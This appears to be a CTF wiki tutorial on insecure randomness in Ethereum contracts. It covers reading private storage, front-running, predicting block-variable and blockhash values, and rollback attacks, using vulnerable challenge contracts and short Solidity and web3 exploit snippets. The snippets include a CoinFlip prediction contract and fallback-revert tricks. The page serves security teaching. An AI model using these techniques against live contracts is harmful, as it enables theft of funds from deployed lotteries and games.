Skip to content

Randomness

This section discusses randomness issues in Ethereum. Since all Ethereum nodes need to compute the same results when validating transactions to reach consensus, the EVM itself cannot implement true random number functionality. As for pseudo-random numbers, the entropy source can only be deterministic values. Below we discuss the security of various random number methods and introduce the rollback attack.

Pseudo-random Numbers Using Private Variables

Principle

The contract uses private variables unknown to the outside world to participate in random number generation. Although the variable is private and cannot be accessed by another contract, after the variable is stored in storage, it is still public. We can use blockchain explorers (such as etherscan) to observe storage changes, or calculate the storage position of the variable and use Web3's API to obtain the private variable value, then compute the random number.

Example

pragma solidity ^0.4.18;

contract Vault {
  bool public locked;
  bytes32 private password;

  function Vault(bytes32 _password) public {
    locked = true;
    password = _password;
  }

  function unlock(bytes32 _password) public {
    if (password == _password) {
      locked = false;
    }
  }
}

Simply use web3.eth.getStorageAt with the determined parameters to call:

web3.eth.getStorageAt(ContractAddress, "1", function(x,y){console.info(y);})

Externally Sourced Random Numbers

Principle

The random number is generated by another server. To ensure fairness, the server first writes the hash of the random number or its seed into the contract, then reveals the plaintext value after the user's operation. Since the plaintext space is 256 bits, this random number generation method is relatively secure. However, when the plaintext is revealed, we can find the plaintext data in pending transactions and complete the transaction confirmation before it with higher gas.

Pseudo-random Numbers Using Block Variables

Principle

The EVM has five bytecodes that can obtain current block variables, including coinbase, timestamp, number, difficulty, and gaslimit. For miners, these variables are all known or manipulable, so in challenges deployed on private chains, they can act as malicious miners to control the random number results. On public chains like Ropsten, this method is less feasible, but we can still write attack contracts that obtain the same block variable values within the attack contract and then use the same algorithm to derive the random number value.

Example

pragma solidity ^0.4.18;

import 'openzeppelin-solidity/contracts/math/SafeMath.sol';

contract CoinFlip {

  using SafeMath for uint256;
  uint256 public consecutiveWins;
  uint256 lastHash;
  uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;

  function CoinFlip() public {
    consecutiveWins = 0;
  }

  function flip(bool _guess) public returns (bool) {
    uint256 blockValue = uint256(block.blockhash(block.number.sub(1)));

    if (lastHash == blockValue) {
      revert();
    }

    lastHash = blockValue;
    uint256 coinFlip = blockValue.div(FACTOR);
    bool side = coinFlip == 1 ? true : false;

    if (side == _guess) {
      consecutiveWins++;
      return true;
    } else {
      consecutiveWins = 0;
      return false;
    }
  }
}
  • The code processing flow is:
    • Get the hash value of the previous block
    • Check if it equals the previously saved hash value; if so, revert
    • Determine heads or tails based on the value of blockValue/FACTOR, i.e., judge by the first bit of the hash

All transactions on the Ethereum blockchain are deterministic state transition operations. Every transaction changes the global state of the Ethereum ecosystem in a computable way, meaning there is no uncertainty. Therefore, within the blockchain ecosystem, there is no source of entropy or randomness. If variables that can be controlled by miners, such as block hash values, timestamps, block height, or gas limits, are used as entropy sources for random numbers, the resulting random numbers are not secure.

So we write the following attack script and call exploit() 10 times:

pragma solidity ^0.4.18;

contract CoinFlip {
  uint256 public consecutiveWins;
  uint256 lastHash;
  uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;

  function CoinFlip() public {
    consecutiveWins = 0;
  }

  function flip(bool _guess) public returns (bool) {
    uint256 blockValue = uint256(block.blockhash(block.number-1));

    if (lastHash == blockValue) {
      revert();
    }

    lastHash = blockValue;
    uint256 coinFlip = blockValue / FACTOR;
    bool side = coinFlip == 1 ? true : false;

    if (side == _guess) {
      consecutiveWins++;
      return true;
    } else {
      consecutiveWins = 0;
      return false;
    }
  }
}

contract hack{
  uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;

  address instance_address = ContractAddress;
  CoinFlip c = CoinFlip(instance_address);

  function exploit() public {
    uint256 blockValue = uint256(block.blockhash(block.number-1));
    uint256 coinFlip = blockValue / FACTOR;
    bool side = coinFlip == 1 ? true : false;

    c.flip(side);
  }
}

Challenges

  • 0CTF Final 2018 : ZeroLottery

Pseudo-random Numbers Using Blockhash

Principle

Blockhash is a special block variable. The EVM can only obtain the blockhash of the 256 blocks preceding the current block (not including the current block). For blocks beyond these 256, it returns 0. Using blockhash may present several issues:

  1. Misuse, such as block.blockhash(block.number) always being zero.
  2. Using a valid blockhash from a past block — an attack contract can be written to obtain the same value.
  3. Separating the guessing and lottery-drawing transactions into two different blocks, using the blockhash of a block unknown at the time of guessing as the entropy source. In this case, one can wait 256 blocks before drawing the lottery to eliminate the uncertainty of the blockhash.

Challenges

  • Capture The Ether : Predict the block hash, Guess the new number
  • Huawei Cloud Security 2020 : ethenc

Rollback Attack

Principle

In some cases, obtaining the random number may be too difficult or tedious. In such cases, a rollback attack can be considered. The idea behind a rollback attack is simple: rely entirely on luck — if you lose, "cheat" by throwing an exception to roll back the entire transaction as if it never happened; when you win, do nothing and let the transaction be confirmed normally.

Example

Here we use 0ctf 2018 ZeroLottery as an example. Some key code is shown below. n is the random number, and its generation method is omitted, but we know its range is 0 to 7.

contract ZeroLottery {
    ...
    mapping (address => uint256) public balanceOf;
    ...
    function bet(uint guess) public payable {
        require(msg.value > 1 ether);
        require(balanceOf[msg.sender] > 0);

        uint n = ...;

        if (guess != n) {
            balanceOf[msg.sender] = 0;
            // charge 0.5 ether for failure
            msg.sender.transfer(msg.value - 0.5 ether);
            return;
        }

        // charge 1 ether for success
        msg.sender.transfer(msg.value - 1 ether);
        balanceOf[msg.sender] = balanceOf[msg.sender] + 100;
    }
    ...
}

We can observe that the challenge contract charges differently depending on whether we guess correctly or incorrectly — 1 ether for a correct guess and 0.5 ether for a wrong guess. The extra money we pay when guessing is transferred back to us. Combined with the knowledge that a smart contract's fallback function is called when it receives a transfer, if we bet 2 ether each time and the fallback function receives 1.5 ether, it rolls back. We can keep guessing the same number, and only the correct guesses will have their transactions confirmed.

function guess() public {
    task.bet.value(2 ether)(1);
}
function () public payable {
    require(msg.value != 1.5 ether);
}

Not all challenges involve transfer operations, but there is usually a variable representing the number of correct guesses. In ZeroLottery, balanceOf[msg.sender] increases on correct guesses and is zeroed on incorrect ones. This can also be used to determine whether the guess was correct.

function guess() public {
    task.bet.value(2 ether)(1);
    require(task.balanceOf(this));
}

Both methods above select a fixed number and guess repeatedly. With the one-eighth probability in this challenge, winning five times requires approximately 40 transactions. Since random numbers generated within the same block are often the same, we can improve slightly by trying all eight possibilities in each block, which will definitely include the correct number. Furthermore, if we guess five times consecutively in a single transaction, only one successful transaction is needed to complete the challenge requirements. In fact, because the challenge contract's bet function already includes a non-zero balanceOf check, if we guess multiple times consecutively and fail, the transaction will automatically roll back.

Challenges

  • 0ctf final 2018 : ZeroLottery

Note

Note: Challenge attachments and related content can be found in the ctf-challenges/blockchain repository.